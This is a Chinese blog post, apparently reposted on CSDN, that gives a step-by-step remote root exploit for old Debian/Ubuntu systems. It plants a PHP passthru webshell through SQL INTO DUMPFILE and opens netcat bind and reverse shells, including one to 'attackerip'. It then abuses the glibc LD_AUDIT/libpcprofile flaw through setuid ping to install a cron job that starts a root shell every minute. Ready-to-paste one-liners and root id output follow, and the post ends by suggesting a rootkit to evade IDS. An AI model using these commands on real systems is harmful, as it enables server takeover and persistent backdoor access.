php webshell提权_[投稿]Webshell 远程提权

这篇博客介绍了如何利用PHP Webshell结合Ubuntu/Debian上的DSO漏洞进行远程提权。通过SQL注入或上传漏洞获取Webshell后,通过DSO漏洞创建root权限的cron任务,最终实现每分钟获取一个root shell。整个过程包括权限掩码设置、编写exploit.sh脚本、利用SUID位的ping程序创建rw-rw-rw文件,并在cron中定时执行shell脚本。
摘要由CSDN通过智能技术生成

虽然现在Ubuntu已经出到14.04 LTS,但是国外的攻击思路一直比我大天朝先进2、3年,这篇文章所演示的漏洞到现在仍是有借鉴意义的。

Ubuntu 是基于Debian GNU/Linux,所以大便….咳咳…..Debian系的Linux发行版本或多或少都会有以下的漏洞,所以攻击思路适用与大部分的发行版。话不多说,将接下去就让我们进入紧张刺激的攻防实战吧!

———

|  关于漏洞  |

———

Debian/Ubuntu 远程提权漏洞 ,基于GNU dynamic linker DSO漏洞(也就是那个GNU C动态链接库 LD_AUDIT任意DSO加载漏洞,详细漏洞信息参见 http://www.exploit-db.com/exploits/15304/).应该在其他的Linux同时期的发行版上都会出现这个问题(注:发行日期《=2011年).

——-

|   背景   |

——-

本文的攻击思路不是通过user/nobody权限的webshell直接修改 /etc/passwd或是利用suidshell 提权哦。而是通过DSO 漏洞,我们能够直接利用root账号来执行命令,然后利用root身份来建立socket来做出一个bindshell后门.

———-

|  正文开始  |

———-

通过SQL注入或是上传漏洞你拿到了一个PHP的Webshell.一个最经典的拿Webshell方法是通过数据库outfile来获取. 可以利用的后门为 passthru($_GET[‘c’]); ?> 。(哇塞,外国佬的一句话是这样的!passthru函数类似 Exec() 用来执行 command 指令)

可以利用的SQL语句如下(鄙视,他说得倒容易,outfile至少要三个条件:一、目录能写能执行二、数据库用户高权限三、找得到网站的绝对路径。其中第二点是硬伤——91ri.org小编不屑地注)

—————————————————————–

Default

DROP TABLE IF EXISTS `fm`;

CREATE TABLE `fm` (

`fm` longblob

) TYPE=MyISAM;

insert into fm (fm) values (0x3c3f20706173737468727528245f4745545b2763275d293b203f3e);

select fm from fm into dumpfile '/opt/lampp/htdocs/xampp_backup.php';

drop table fm;

flush logs;

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

DROPTABLEIFEXISTS`fm`;

CREATETABLE`fm`(

`fm`longblob

)TYPE=MyISAM;

insertintofm(fm)values(0x3c3f20706173737468727528245f4745545b2763275d293b203f3e);

selectfmfromfmintodumpfile'/opt/lampp/htdocs/xampp_backup.php';

droptablefm;

flushlogs;

———————————————————————

一句话连接之后,现在你想使用telnet, nc来连接, 写入二进制代码

Default

perl -e ' print "\x41\x42\x43\x44"'

1

perl-e' print "\x41\x42\x43\x44"'

或是

Default

echo -en '\x41\x42\x43\x44'

1

echo-en'\x41\x42\x43\x44'

来获取一个shell

(前几天看wooyun 昨天发了一篇类似文章http://drops.wooyun.org/tips/1376 而他也是借鉴国外文章的,吓,国内的安全真是落后国外几年啊)

如果直接写shell不成功,我们就用php代码来实现(前方高能!!!!!!!!!!!!!),将下列的代码写入xampp_backup.php中:

———————————————————————-

Default

<?php $File = "/tmp/nc";

$Handle = fopen($File, 'w');

$Data = "\x41\x42\x43\x44";

fwrite($Handle, $Data);

fclose($Handle); ?>

1

2

3

4

5

6

7

8

9

<?php$File="/tmp/nc";

$Handle=fopen($File,'w');

$Data="\x41\x42\x43\x44";

fwrite($Handle,$Data);

fclose($Handle);?>

———————————————————————-

现在可以使用:

Bind-Shell:

Default

http://www.91ri.org/ xampp_backup.php?c=nc -l -p 9999 -e /bin/bash

1

http://www.91ri.org/ xampp_backup.php?c=nc -l -p 9999 -e /bin/bash

Reverse-Shell:

Default

http://www.91ri.org/ xampp_backup.php?c=/bin/nc attackerip 9999 | /bin/bash

1

http://www.91ri.org/ xampp_backup.php?c=/bin/nc attackerip 9999 | /bin/bash

写入到你的浏览器中来创建一个shell:

然后在本地用netcat连接:

Default

$ nc www.91ri.org 9999

1

$ncwww.91ri.org9999

Default

id

uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

1

2

3

id

uid=65534(nobody)gid=65534(nogroup)groups=65534(nogroup)

————————————————————————–

现在我们需要使用DSO漏洞来远程提权啦,详细的步骤如下:

1、先权限掩码置零,以确保创建正确的rw-rw-rw /etc/cron.d/漏洞:

Default

$ umask 0

1

$umask0

2、使用shell脚本打开cron.d 入口.

Bind-Shell:

Default

$ echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh

1

$echo-e'/bin/nc -l -p 79 -e /bin/bash'>/tmp/exploit.sh

Reverse-Shell:

Default

$ echo -e '/bin/nc localhost 8888 | /bin/bash' > /tmp/exploit.sh

1

$echo-e'/bin/nc localhost 8888 | /bin/bash'>/tmp/exploit.sh

3、给/etc/cron.d/置rw-rw-rw位:

Default

$ chmod u+x /tmp/exploit.sh

1

$chmodu+x/tmp/exploit.sh

4、使用具有SUID位的ping程序在cron目录下创建 rw-rw-rw 文件 :

Default

$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

1

$LD_AUDIT="libpcprofile.so"PCPROFILE_OUTPUT="/etc/cron.d/exploit"ping

5、设置每分钟创建一次root shell(类似每分钟一次心跳报文吧)

Default

$ echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

1

$echo-e'*/1 * * * * root /tmp/exploit.sh'>/etc/cron.d/exploit

现在你每分钟就有一次root shell啦,然后在本地nc连接:

Default

$ nc www.91ri.org 79

1

$ncwww.91ri.org79

Default

id

uid=0(root) gid=0(root) groups=0(root)

1

2

3

id

uid=0(root)gid=0(root)groups=0(root)

—————-

|  精简版EXPLOIT  |

—————-

直接在交互的shell中写入:

Default

echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

1

echo-e'/bin/nc -l -p 79 -e /bin/bash'>/tmp/exploit.sh;/bin/chmod0744/tmp/exploit.sh;umask0;LD_AUDIT="libpcprofile.so"PCPROFILE_OUTPUT="/etc/cron.d/exploit"ping;echo-e'*/1 * * * * root /tmp/exploit.sh'>/etc/cron.d/exploit

然后本地nc连接:

Default

$ nc www.91ri.org 79

1

$ncwww.91ri.org79

Default

id

uid=0(root) gid=0(root) groups=0(root)

1

2

3

id

uid=0(root)gid=0(root)groups=0(root)

——————–

| webshell EXPLOIT  |

———————

利用之前你已经写入的xampp_backup.php文件,直接在浏览器中写入:

Default

http:// www.91ri.org /xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh

1

http:// www.91ri.org /xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh

Default

http:// www.91ri.org /xampp_backup.php?c=/bin/chmod 0744 /tmp/exploit.sh

1

http:// www.91ri.org /xampp_backup.php?c=/bin/chmod 0744 /tmp/exploit.sh

Default

http:// www.91ri.org /xampp_backup.php?c=umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

1

http:// www.91ri.org /xampp_backup.php?c=umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

Default

http:// www.91ri.org /xampp_backup.php?c=echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

1

http:// www.91ri.org /xampp_backup.php?c=echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

然后本地nc连接:

Default

$ nc www.91ri.org 79

1

$ncwww.91ri.org79

Default

id

uid=0(root) gid=0(root) groups=0(root)

1

2

3

id

uid=0(root)gid=0(root)groups=0(root)

————————-

|  精简版EXPLOIT webshell  |

————————-

直接在浏览器中写入:

Default

http://www.91ri.org/ xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

1

http://www.91ri.org/ xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

然后本地nc连接:

Default

$ nc www.91ri.org 79

1

$ncwww.91ri.org79

Default

id

uid=0(root) gid=0(root) groups=0(root)

1

2

3

id

uid=0(root)gid=0(root)groups=0(root)

———

|  小贴士  |

———

IDS/IPS会监测到你的恶意流量,所以还是安装rootkit-bot收工走人……

赏金发放情况:本文获得赏金150RMB,已于4.5日发放到作者账号。

征稿启事:91RI一直相信“你不与人分享,谁与你分享”,分享的确是件非常有意义的事情。为了让优秀的同学有 地方分享自己的独到见解,也为了让更多同学从分享中受益,同时我们也希望给那些愿意分享的小伙伴们一点点心意作为感谢,所以我们隆重了推出“有奖征文”活 动!本次活动的详情可以围观《征稿启事》

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值